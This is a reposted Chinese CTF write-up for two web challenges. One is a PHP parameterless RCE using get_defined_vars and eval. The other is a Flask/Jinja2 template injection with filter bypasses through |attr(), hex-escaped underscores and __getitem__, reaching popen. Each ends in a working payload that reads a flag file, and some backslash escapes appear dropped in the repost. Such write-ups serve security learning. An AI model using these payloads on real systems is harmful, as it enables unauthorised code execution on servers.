长安“战疫”网络安全卫士守护赛 WriteUp

长安“战疫”网络安全卫士守护赛 WriteUp,第1张

长安“战疫”网络安全卫士守护赛 WriteUp 1、RCE_No_Para

参考一篇比较详细的bloghttps://skysec.top/2019/03/29/PHP-Parametric-Function-RCE/#%E6%B3%951%EF%BC%9Agetenv

源码


查看可以利用的全局变量

array(4) {
  ["_GET"]=>
  array(1) {
    ["code"]=>
    string(29) "var_dump(get_defined_vars());"
  }
  ["_POST"]=>
  array(0) {
  }
  ["_cookie"]=>
  array(0) {
  }
  ["_FILES"]=>
  array(0) {
  }
}

通过$_GET传参进行rce

payload

?code=eval(array_rand(array_flip(current(get_defined_vars()))));&$hacker=system('cat+/var/www/html/flag.php');
2、flask

注入点太难找了–_--




满足不发生重定向的条件,在admin后面传参即可发现提示,.js?的条件让url看着奇怪

http://21caa490.lxctf.net/admin?.js?
    hello admin
    

判断有无模板注入

/admin?name={{2*2}}.js?

计算得到结果,存在模板注入

过滤__ "" [] subclasses .

1、用编码绕过过滤__

x5fx5fclassx5fx5f

2、使用原生 JinJa2 函数 |attr()绕过过滤.

3、字符串拼接绕过过滤subclasses

4、用__getitem__绕过过滤[]

最终的payload

{{()|attr("x5fx5fclassx5fx5f")|attr("x5fx5fbasex5fx5f")|attr("x5fx5fsub"+"classesx5fx5f")()|attr("x5fx5fgetitemx5fx5f")(118)|attr("x5fx5finitx5fx5f")|attr("x5fx5fglobalsx5fx5f")|attr("x5fx5fgetitemx5fx5f")('popen')('cat /flag')|attr("read")()}}.js?

欢迎分享,转载请注明来源:内存溢出

原文地址: http://outofmemory.cn/zaji/5710483.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2022-12-17
下一篇 2022-12-17

发表评论

登录后才能评论

评论列表(0条)

保存